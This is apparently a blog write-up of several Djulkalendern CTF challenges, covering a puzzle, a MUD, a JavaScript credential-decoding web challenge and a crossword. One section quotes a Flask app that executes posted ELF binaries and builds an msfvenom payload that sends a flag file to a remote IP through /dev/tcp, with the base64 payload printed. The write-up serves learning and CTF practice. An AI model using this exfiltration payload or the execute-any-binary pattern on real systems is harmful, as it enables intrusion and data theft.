10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from flask import Flask, render_template, request
from tempfile import NamedTemporaryFile
import base64
import os
import sys
import time
import subprocess

app = Flask(__name__)

messages = [
    "Welcome to Y! Your personal echo chamber."
]

def execute_c2(message):
    try:
        message = base64.b64decode(message)
    except:
        return False
    if not message.startswith(b"\x7fELF"):
        return False # Unrelated tweet

    elf = NamedTemporaryFile(delete=False)
    with open(elf.name, 'wb') as f:
        f.write(message)

    elf.file.close()
    os.chmod(elf.name, 0o777)

    subprocess.run(elf.name)
    
    return True

@app.route('/', methods=['GET', 'POST'])
def home():
    if request.method == 'GET':
        return render_template('index.html', messages=messages)

    error=""
    new_message = request.form.get('message')
    if new_message and len(new_message) <= 280:
        if not execute_c2(new_message):
            messages.append(new_message)
    elif len(new_message) > 280:
        error="Message exceeds 280 characters"
    else:
        error="Please provide a message."
    
    if len(messages) > 20:
        messages.pop(0)

    return render_template('index.html', messages=messages, error=error)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

Here we see that, if a message is posted that starts with an ELF header, it will be executed.

The flag file contains the text [a single english word]. This hints towards the fact that we can only get the flag through the live version of the site, hosted at https://cparta.djul.se/.

We also get the following gift

It’s dangerous to go alone! Take this:

1
2
3
4
x=$RANDOM
echo $x
ssh djulkalendern@37.27.217.134 \
-R$x:localhost:3000 -N

Which gives us a random port number and a command to create a reverse SSH tunnel to the server. This is particularly useful if your local network configuration doesn’t easily allow incoming connections or when you don’t want to set-up ngrok or similar services.

Crafting the ELF

So the objective is to craft an ELF that will be executed on the live server, with the following constraints:

  • The ELF must return the contents of the flag file
  • The ELF must be encoded in base64.
  • The ELF must be less than 280 characters long.

I first tried to do this manually using various guides online

However, I then found out there’s a tool in metasploit called msfvenom

msfvenom is a combination of Metasploit’s payload generation (msfpayload) and encoding tools (msfencode). It can be used to generate shellcode or executables.

The text also hints us towards this tool

You might want to try something venomous, seeing as they are robots and should not be affected. Or assemble some flat package yourself. However, remember that we are on a budget! It can’t be too big!”

1
msfvenom -p linux/x64/exec CMD="bash -c 'cat flag > /dev/tcp/37.27.217.134/$x'" -f elf -o djulpwn.elf

where

  • -p specifies the payload to use, in this case linux/x64/exec which executes a command.
  • CMD is the command that the payload will execute.
    • bash -c 'cat flag > /dev/tcp/37.27.217.134/$x' is the actual command being executed.
      • bash -cruns the argument string as a command in a new bash shell.
      • cat flag Reads the contents of the flag file.
      • /dev/tcp/37.27.217.134/$xredirects the output of cat flag to a TCP connection to the IP address 37.27.217.134 on the port specified by the environment variable $x.
  • -f elf specifies the output format: ELF (Executable and Linkable Format) binary
  • -o djulpwn.elf specifies the output file.

After running the command, we get the djulpwn.elf file. We can then encode this file in base64 using

1
2
$ base64 djulpwn.elf
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAzgAAAAAAAAAkAQAAAAAAAAAQAAAAAAAASLgvYmluL3NoAJlQVF9SZmgtY1ReUugyAAAAYmFzaCAtYyAnY2F0IGZsYWcgPiAvZGV2L3RjcC8zNy4yNy4yMTcuMTM0LzEwNTMzJwBWV1ReajtYDwU=

Executing the ELF

Before we send the payload, we need to listen on the port specified by $x using nc -lvnp 3000.

After we send the payload, we get the following output.

1
2
Connection from 127.0.0.1:59700
vacancy

The flag thus being vacancy.

Day 19: To burn or not to burn?

Today’s window gives us a single string of text.

1
k bace bd onr wyite cettwom thst aaklpwpsr ia tye laazeper ti thie gsuot

where the story heavily implies that this was written while drunk.

There are multiple strategies to “de-drunkify” text.

I tried to make a logical sentence manually, while trying to verify some through a Levenshtein distance tool. Note that this challenge took a lot of time!

Levenshtein

Below is the correct full sentence.

1
2
3
4
k bace bd onr wyite cettwom thst aaklpwpsr ia tye laazeper ti thie gsuot
. .... ...... ..... ....... .... ......... .. ... ........ .. .... .....
. .... ...... ..... ....... .... ......... .. ... ........ .. .... .....
i have become quite certain that wallpaper is the password to this vault

The flag thus being wallpaper.

Bonus

You were also able to get the flag itself by inputting aaklpwpsr into a search engine, whose spell check would correct the word.

DuckDuckGo

This means that using Spell Check APIs, such as Google’s Spell Check API, could be a viable strategy for solving similar challenges.

Day 20: It’s the final count up

The last Friday for this year’s Djulkalendern, which means this is the last MUD. After connecting with netcat, we are presented with the following

Floor 1

1
2
3
4
5
6
7
8
9
10
you are in the starting room of floor 1. 

Use <map> to see the map.

If you are stuck, use <restartfloor> to reset all
platforms and paths.

To the west: path (which might have a platform)

You can use 'chill <time>' to wait a specific time.

With map giving us

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
      ++++@   E 
         +  +++ 
       +++  + + 
       +    P++ 
       ++P++B   
                
Legend:
@ marks your current position
S marks the start
E marks the exit
C marks a room with a crank
. marks a normal room
P marks a moving platform
B marks a bridge
+, -, |, marks paths that P can move along.

Using the command chill 1, the first platform P connected to player @ moves to the right. If we chill 11 after that, the platform will have moved all the way back next to player @.

1
2
3
4
5
6
7
8
9
chill 11
The platforms have moved!
map
                
      +++P@   E 
         +  ++P 
       +++  + + 
       +    +++ 
       +++++B   

We can then move the player onto the moving platform by using go west.

1
2
3
4
5
6
7
8
9
10
go west 


---------------------------------------
you are standing on a floating platform,
it makes a humming sound.

To the south: path (which might have a platform)
To the east: starting room
To the west: path (which might have a platform)

The platform first has to reach the upper-left corner before it goes back. This means we now have to chill 16 to reach B.

1
2
3
4
5
      +++@S   E 
         +  ++P 
       +++  + + 
       +    +++ 
       +++++B 

chill 16

1
2
3
4
5
6
7
8
      ++++S   E 
         +  ++P 
       +++  + + 
       +    +++ 
       ++++@B
       
go east 
Bridge must be connected to all adjacent paths platforms to function.

So we need both platforms to be connected to the bridge! We can do this by chilling the full length of the left-path with chill 26, and seeing how the platform moves.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
chill 26

---------------------------------------
you are standing on a floating platform,
it makes a humming sound.

To the east: BRIDGE
To the west: path (which might have a platform)

The platforms have moved!
map
                
      ++++S   E 
         +  +++ 
       +++  + + 
       +    ++P 
       ++++@B 

Almost!. Doing it again

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
chill 26

---------------------------------------
you are standing on a floating platform,
it makes a humming sound.

To the east: BRIDGE
To the west: path (which might have a platform)

The platforms have moved!
map

      ++++S   E 
         +  +++ 
       +++  + + 
       +    P++ 
       ++++@B   

Now we can move to the bridge by using go east and to the next platform with go north. Finally, chill 4 and go north to reach the exit.

Floor 2

This floor will be a bit more complicated. We start with the following map.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
      +++-+++  E+++ 
      +  + C+     + 
      +  +  P ++P + 
      +  +  + + ? + 
      +++-+++B+++ + 
      @      P    + 
             ++++++ 
                    
Legend:
@ marks your current position
S marks the start
E marks the exit
C marks a room with a crank
. marks a normal room
P marks a moving platform
B marks a bridge
+, -, |, marks paths that P can move along.

We first need to learn in which direction the platform moves. By using chill 1, we can see that the platform moves to the right.

1
2
3
4
5
6
7
      +++-+++  E+++ 
      +  + C+     + 
      +  +  + +++ + 
      +  +  P + ? + 
      +++-+++B++P + 
      @      +    + 
             P+++++ 

We learn that the ? marks a skip. for the 2nd platform’s loop.

We need to find when these 3 platforms synchronize, but first, we need to move the player to the platform. chill 7 and go north

1
2
3
4
5
6
7
      +++-+++  E+++ 
      +  + C+     + 
      +  +  + +++ + 
      +  +  + + ? + 
      @++-+++B++P P 
      S      +    + 
             ++++++ 

To synchronize the platforms, my strategy was to utilize a mixture of observing the Least Common Multiple of the loops, and reaching an ideal ‘state’.

The first platform has a loop of 20, the second 7.

\[\text{LCM}(20, 7) = 140\]

with steps of chill 20 and map, we can see that the second loop can synchronize to the first loop.

1
2
3
4
5
6
7
      +++-+++  E+++ 
      +  + C+     + 
      +  +  + +++ P 
      +  +  + + ? + 
      +++-++@BP++ + 
      S      +    + 
             ++++++ 

The last objective is to make the last loop synchronize with the first two. This is where the crank comes in. The crank can shorten the path of the first loop, and lengthen the path of the second loop.

Using chill 15, we will be north of the crank room. If we go south and interact crank, the map changes to the following.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
interact crank
You pull the crank...
The straight paths have rotated.
Please play this audio for greater immersion:
https://www.youtube.com/watch?v=0jG6lNj2foM

      +++|+P+  E+++ 
      +  + @+     + 
      +  +  + +++ + 
      +  +  + P + + 
      +++|+++B+++ + 
      S      +    + 
             ++P+++ 

Now the left loop isn’t a loop anymore, but a straight path. between walls |. I honestly bruteforced the solution by a mixture of interacting the crank and taking note of the direction of the platform in the first loop to get to the following ideal state. My log of the commands used to reach this state would be too long for this write-up. If you also participated and have a minimal list of commands, please let me know!

1
2
3
4
5
6
7
      +++|+++  E+++ 
      +  + @P     + 
      +  +  + +++ + 
      +  +  + + P + 
      +++|+++B+++ + 
      S      +    + 
             ++P+++

Before I did this, I interacted one last time with the crank to synchronize this in the event I missed something.

From this ideal state, go east and chill 3 to let all platforms reach the bridge.

1
2
3
4
5
6
7
      +++-+++  E+++
      +  + C+     +
      +  +  + +++ +
      +  +  + + ? +
      +++-++@BP++ +
      S      P    +
             ++++++

From here, we can go east and go north to get onto the last platform, and chill 14 to reach the exit.

1
2
3
4
5
6
7
8
9
10
11
---------------------------------------
YOU FOUND THE EXIT

---------------------------------------
The word is patent.
            _             _
_ __   __ _| |_ ___ _ __ | |_
| '_ \ / _` | __/ _ \ '_ \| __|
| |_) | (_| | ||  __/ | | | |_
| .__/ \__,_|\__\___|_| |_|\__|
|_|

The flag thus being patent.

Day 23: Won’t someducky please think of the children!??

For the last challenge, we are given a website with a login page.

Login

Getting the login credentials

Right below the login form is a clickable link ‘Forgot password’. Clicking this link will direct us to /forgor💀.

ForgotPassword

Clicking on the big confirmation button takes us to the first section of the challenge: answering questions about Hailey Welch.

Questions

If we open the browser’s developer tools, we see the following script in the website’s sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
async function verify() {
  const q1 = document.getElementById("q1").value;
  const q2 = document.getElementById("q2").value;
  const q3 = document.getElementById("q3").value;
  const q4 = document.getElementById("q4").value;
  const q5 = document.getElementById("q5").value;
  const q6 = document.getElementById("q6").value;
  const q7 = document.getElementById("q7").value;

  SKIBIDI_KEY = "fortnite_gyatt";

  // Please dont hack this verification, its only for Haliey Welch ok?
  let hmm = await fetch("/secure_verify🔒", { method: "POST" });
  let verification = await hmm.text();
  eval(atob(atob(verification)));
}

The script fetches the verification from the server, decodes it twice, and then evaluates it. The verification is a base64-encoded string that is base64-decoded twice.

If we go from the sources tab to the network tab in the browser’s developer tools, don’t fill in anything, and click on submit verification, we get the following response.

1
Q2lBZ0lDQm1kVzVqZEdsdmJpQjRiM0lvWVN3Z1lpa2dld29nSUNBZ0lDQWdJSEpsZEhWeWJpQmhMbk53YkdsMEtDSWlLUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdMbTFoY0Nnb1l5d2dhU2tnUFQ0Z1UzUnlhVzVuTG1aeWIyMURhR0Z5UTI5a1pTaGpMbU5vWVhKRGIyUmxRWFFvTUNrZ1hpQmlMbU5vWVhKRGIyUmxRWFFvYVNBbElHSXViR1Z1WjNSb0tTa3BDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQXVhbTlwYmlnaUlpazdDaUFnSUNCOUNnb2dJQ0FnWm5WdVkzUnBiMjRnZDNKdmJtY29LU0I3Q2lBZ0lDQWdJQ0FnZEdoeWIzY2dZV3hsY25Rb0lsZFNUMDVISVNCWmIzVWdZWEpsSUc1dmRDQklZV3hwWlhrZ1YyVnNZMmdoSWlrN0NpQWdJQ0I5Q2dvZ0lDQWdhV1lnS0hFeElDRTlJQ0pLYjJodUlpQjhmQ0J4TWlBaFBTQWlURzkzSUZSaGNHVnlJRVpoWkdVZ0tITm9iM1YwYjNWMElFNXBibXBoS1NJcElIZHliMjVuS0NrN0Nnb2dJQ0FnYkdWMElITnJhV0pwWkdscGFXbHBhV2xwYVdscGFTQTlJSGh2Y2loeE1TdHhNaXdnWVhSdllpZ2lXbEp6UVVGVU9FdExSbU00UkdrNFQwaEZPSGhSUlZaRlFWRnNVMU5WTlZWV1ZUVlZWbEZHZGxORk9VeFJRV2M5SWlrcE93b0tJQ0FnSUdabGRHTm9LSE5yYVdKcFpHbHBhV2xwYVdscGFXbHBhU3dnZXlCdFpYUm9iMlE2SUNKUVQxTlVJaUI5S1M1MGFHVnVLQ2h5WlhNcElEMCtJSEpsY3k1MFpYaDBLQ2twTG5Sb1pXNG9LSEpsY3lrZ1BUNGdld29nSUNBZ0lDQWdJR1YyWVd3b1lYUnZZaWh5WlhNcEtUc0tJQ0FnSUgwcE93b2dJQ0Fn

Decoding this twice gives us the following JavaScript code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function xor(a, b) {
  return a.split("")
    .map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ b.charCodeAt(i % b.length)))
    .join("");
}

function wrong() {
  throw alert("WRONG! You are not Haliey Welch!");
}

if (q1 != "John" || q2 != "Low Taper Fade (shoutout Ninja)") wrong();

let skibidiiiiiiiiiiii = xor(q1+q2, atob("ZRsAAT8KKFc8Di8OHE8xQEVEAQlSSU5UVU5UVQFvSE9LQAg="));

fetch(skibidiiiiiiiiiiii, { method: "POST" }).then((res) => res.text()).then((res) => {
  eval(atob(res));
});

We can see that the answers to the questions are John and Low Taper Fade (shoutout Ninja). The code then XORs these answers with a base64-decoded string, resulting in the endpoint /those_who_know!!!!!!!!!!!!!!!!!!!!, and evaluates the response again.

If we try to submit the form with the first two answers filled in, we will thus get the following response.

1
CiAgICBsZXQgb21nID0geG9yKGF0b2IoIk5RWVZHUTlKTmdvbSIpLCBTS0lCSURJX0tFWSkKCiAgICBpZiAocTMgIT0gb21nIHx8IHE0ICE9ICJLbmVlIHN1cmdlcnkiKSB3cm9uZygpOwoKICAgIGZ1bmN0aW9uIGFkZChpbnB1dCwga2V5KSB7CiAgICAgICAgcmV0dXJuIGlucHV0LnNwbGl0KCIiKQogICAgICAgICAgICAubWFwKChjLCBpKSA9PiBTdHJpbmcuZnJvbUNoYXJDb2RlKChjLmNoYXJDb2RlQXQoMCkgKyBrZXkuY2hhckNvZGVBdChpICUga2V5Lmxlbmd0aCkpICUgMjU2KSkKICAgICAgICAgICAgLmpvaW4oIiIpOwogICAgfQoKICAgIGxldCBvayA9IGFkZChxNSwgcTQpOwogICAgaWYgKGF0b2IoIm90ZlQyWVhsbGRQWnlBPT0iKSA9PSBvaykgewogICAgICAgICBmZXRjaChxNS5zcGxpdCgiICIpLmpvaW4oIiIpLCB7IG1ldGhvZDogIlBPU1QiIH0pLnRoZW4oKHJlcykgPT4gcmVzLnRleHQoKSkudGhlbigocmVzKSA9PiB7CiAgICAgICAgICAgIGV2YWwoYXRvYihyZXMpKTsKICAgICAgICB9KTsKICAgIH0gZWxzZSB7CiAgICAgICAgd3JvbmcoKTsKICAgIH0KICAgIA==

Decoding this once gives us the following JavaScript code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
let omg = xor(atob("NQYVGQ9JNgom"), SKIBIDI_KEY)

if (q3 != omg || q4 != "Knee surgery") wrong();

function add(input, key) {
  return input.split("")
    .map((c, i) => String.fromCharCode((c.charCodeAt(0) + key.charCodeAt(i % key.length)) % 256))
    .join("");
}

let ok = add(q5, q4);
if (atob("otfT2YXlldPZyA==") == ok) {
  fetch(q5.split(" ").join(""), { method: "POST" }).then((res) => res.text()).then((res) => {
    eval(atob(res));
  });
} else {
  wrong();
}

We can see that the answer to question 4 is Knee surgery. To get the answer for question 3, we need to XOR the base64-decoded string NQYVGQ9JNgom with the SKIBIDI_KEY. Going back to the first script, we see that the SKIBIDI_KEY is fortnite_gyatt.

1
xor(atob("NQYVGQ9JNgom"), "fortnite_gyatt");

Results in Sigma Boy.

To get the answers to q5, we first have to examine the add function.

  1. Convert the input string into an array of characters.
  2. For each character
    • Get its ASCII value (c.charCodeAt(0))
    • Get the corresponding key character by cycling through the key (cycling through key using i % key.length).
    • Get the ASCII value of the key character (key.charCodeAt(i % key.length))
    • Add both values and take modulo 256 to keep it in the valid character range.
    • Convert back to a character.
  3. Join all transformed characters into a new string.

Since add modifies the input by adding key characters’ ASCII values, we can reverse it by subtracting the key characters’ ASCII values from the output string.

1
2
3
4
5
6
7
function inverse_add(input, key) {
  return input.split("")
    .map((c, i) =>
      String.fromCharCode((c.charCodeAt(0) - key.charCodeAt(i % key.length) + 256) % 256)
    )
    .join("");
}

Here, instead of adding key.charcodeAt(i % key.length), we subtract it. We also add 256 to ensure that the result is positive, and then take modulo 256 to keep it in the valid character range.

Furthermore,

  1. We know that the answer to q4 is Knee surgery.
  2. We know that adding Knee surgery to q5 must be equal to the base64-decoded string otfT2YXlldPZyA== (which is ¢×ÓÙ\x85å\x95ÓÙÈ).

We can get the value of q5 by using the inverse_add function.

1
inverse_add(atob("otfT2YXlldPZyA=="), "Knee surgery");

Which returns Winter arc, and will make a POST subsequent request to /Winterarc, giving us the final script piece for 6 and 7.

1
2
3
4
5
6
let omg = add(atob("3PL887LZ7QkI"), SKIBIDI_KEY)

if (q6 != omg || q7 != "Those who know") wrong();

let SECRET = xor(atob('CgACDkU7Pj0MPQoGFwx/IA0DQwNOCU9/VQQPRn0DV1UwS1wdD1I='), q6 + q7);
alert("You are really Haliey Welch! Here's your username and password: " + SECRET);

We can see that the answer to question 7 is Those who know. To get the answer for question 6, we need to add the base64-decoded string 3PL887LZ7QkI with the SKIBIDI_KEY a.k.a. fortnite_gyatt.

1
add(atob("3PL887LZ7QkI"), "fortnite_gyatt")

Results in Bang Bang.

The answers to the questions are thus as follows.

  1. John
  2. Low Taper Fade (shoutout Ninja)
  3. Sigma Boy
  4. Knee surgery
  5. Winter arc
  6. Bang Bang
  7. Those who know

We can also evaluate the SECRET ourselves with

1
xor(atob('CgACDkU7Pj0MPQoGFwx/IA0DQwNOCU9/VQQPRn0DV1UwS1wdD1I='), "Bang Bang" + "Those who know");

Resulting in Haliey_Skibidi_Welch f8=4jhf?b92d#3njr.

Admin page and finding the flag

Filling in the username Haliey_Skibidi_Welch and password f8=4jhf?b92d#3njr, we gained access to the admin page. The admin page featured a 2D, top-down, HTML5 canvas grid environment where you were able to see a red background, Christmas trees, and other players (ducks) with a randomly generated username. Through a websocket connection, each time a user emitted a command from their client, it was broadcasted to the other users.

Along with the canvas, there was a chat window where users could send messages to each other. The chat messages were also broadcasted to all users. You could also change your username.

Admin

We can observe the HTML5 canvas’ code. From the sources tab, we can see that the relevant code can be found in static/gyattlololololgyatt.js.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
const socket = io(url);
let users = [];
let map = [];

document.addEventListener("keydown", (event) => {
  const key = event.key;

  // Math.abs(x) <= 1 && Math.abs(y) <= 1
  if (key === "ArrowUp" || key.toLowerCase() === "w") {
    socket.emit("move", { x: 0, y: -1 });
  } else if (key === "ArrowDown" || key.toLowerCase() === "s") {
    socket.emit("move", { x: 0, y: 1 });
  } else if (key === "ArrowLeft" || key.toLowerCase() === "a") {
    socket.emit("move", { x: -1, y: 0 });
  } else if (key === "ArrowRight" || key.toLowerCase() === "d") {
    socket.emit("move", { x: 1, y: 0 });
  }
  //todo: implement "interact" event
});

socket.on("game", (data) => {
  users = data.users;
  map = data.map;
  const chat = document.getElementById("chat");

  data.chat.forEach((c) => {
    const child = document.createElement("p");
    child.innerText = `${c.user}: ${c.message}`;
    chat.appendChild(child);
  });

  chat.scrollTop = chat.scrollHeight;
});

socket.on("users", (data) => {
  users = data.users;
});

socket.on("chat", (data) => {
  const chat = document.getElementById("chat");
  chat.innerHTML = "";
  data.chat.forEach((c) => {
    const child = document.createElement("p");
    child.innerText = `${c.user}: ${c.message}`;
    chat.appendChild(child);
  });
  chat.scrollTop = chat.scrollHeight;
});

socket.on("rip", (data) => {
  alert(data.message);
});

socket.on("win", () => {
  console.log("hawk tuah");
});

const canvas = document.getElementById("canvas");
const ctx = canvas.getContext("2d");
ctx.font = "10px serif";
ctx.textAlign = "center";

function changeUsername() {
  const name = document.getElementById("username").value;
  socket.emit("username", { name });
}

function chat() {
  const message = document.getElementById("message").value;
  document.getElementById("message").value = "";
  socket.emit("chat", { message });
}

function drawUsers() {
  ctx.fillStyle = "white";
  users.forEach((user) => {
    drawDuck(user.x * 10, user.y * 10, user.name);
  });
}

function drawDuck(x, y, name) {
  ctx.fillStyle = "yellow";
  ctx.fillRect(x + 2, y + 2, 6, 6);

  ctx.fillStyle = "orange";
  ctx.fillRect(x + 3, y + 8, 1, 2);
  ctx.fillRect(x + 6, y + 8, 1, 2);
  ctx.fillRect(x + 4, y + 5, 2, 1);

  ctx.fillStyle = "black";
  ctx.fillRect(x + 3, y + 4, 1, 1);
  ctx.fillRect(x + 6, y + 4, 1, 1);

  ctx.fillText(name, x + 6, y);
}

function drawMap() {
  ctx.fillStyle = "black";
  map.forEach((cell) => {
    switch (cell.type) {
      case "wall":
        ctx.fillStyle = "black";
        break;
      case "wood":
        ctx.fillStyle = "brown";
        break;
      case "leaf":
        ctx.fillStyle = "green";
        break;
      case "star":
        ctx.fillStyle = "yellow";
        break;
      case "hawk_tuah":
        ctx.fillStyle = "blue";
        break;
      default:
        ctx.fillStyle = "black";
        break;
    }
    ctx.fillRect(cell.x * 10, cell.y * 10, 10, 10);
  });
}

function draw() {
  ctx.clearRect(0, 0, 500, 500);
  drawUsers();
  drawMap();
  requestAnimationFrame(draw);
}

draw();

By observing the code, we learn the following:

  • The origin of the canvas is in the top-left corner, similar to other 2D canvas environments.
  • The interact event is not implemented on the client-side yet, but possible already works on the server-side.
  • There are global objects users and map that are updated when the server broadcasts new data.
    • map is a 1D array representing the map, with a length of 390 and each cell having the following properties
      • x and y coordinates
      • type which can be "wall", "wood", "leaf", "star", or "hawk_tuah"
      • interactable which can be true or false
      • can_collide which can be true or false
  • A cell type hawk_tuah exists, which should be colored as "blue" on the map. However, we don’t see any blue cells on the map.
    • If we filter the map array on the interactable property, we find one object of type hawk_tuah.

    ConsoleLog

    • The hawk_tuah cell is located at x = 349, y = -211, which is outside the bounds of the map.
  • The comment // Math.abs(x) <= 1 && Math.abs(y) <= 1 in the keydown event listener suggests that the player can only move one step at a time as a check on the server-side.

Using socket.emit, we can manually interact with the server. We were able to observe these broadcasts by finding the websocket connection in Chrome’s Developer Tools -> Network tab -> WS connection -> Messages.

Websocket

After some testing, I found you can get outside of bounds by moving to the upper-left corner of the map and manually emitting a move command with $x = -1, y = -1$.

This works because it still satisfies the condition

\[\left|x\right| \leq 1 \land \left|y\right| \leq 1\]
1
socket.emit("move", { x: -1, y: -1 });

But how do we get to the flag without being able to see ourselves on the map?

Similar to Bonus: Gaining superuser access on the JS Linux terminal, we can override the draw loop of the game’s client-side code to log the position of the player to the console. Naturally, this will execute multiple times per second.

1
2
3
4
5
6
7
8
9
10
function drawUsers() {
  ctx.fillStyle = "white";
  users.forEach((user) => {
    drawDuck(user.x * 10, user.y * 10, user.name);
    
    if (user.name === "<my name>") {
      console.log(user.x, user.y);
    }
  });
}

Now we can use the arrow keys to reach \(x = 349, y = -211\), where the flag is located.

Finally, we interact in the flag

1
socket.emit("interact");

Flag

The flag thus being discombobulated.

Bonus

I think it should be possible to transform the map drawing to include negative $y$ coordinates, which would allow us to see the flag. However, considering the time constraints, I opted for the above solution.

Day 24: Voting matters

Similar to last year, the last day doesn’t count towards any leaderboard points. However, this time we are given a cryptic crossword.

The solution to the crossword is given below.

CrypticCrossword

The flag thus being lockout.

Completion times

#Solved atWeightedUnweighted
-119/11 19:10:4500
22/12 14:03:2833
33/12 14:25:5933
44/12 13:53:4722
55/12 13:59:4322
66/12 12:28:0600
99/12 13:07:2642
1010/12 12:22:4000
1111/12 13:50:0742
1212/12 14:42:3163
1313/12 13:59:2042
1416/12 00:17:4100
1616/12 13:56:1362
1717/12 14:04:5993
1818/12 16:35:20124
1919/12 13:47:3962
2020/12 13:26:3862
2323/12 14:32:1693
2424/12 17:31:2900
    
FinalRank 387635
This post is licensed under CC BY 4.0 by the author.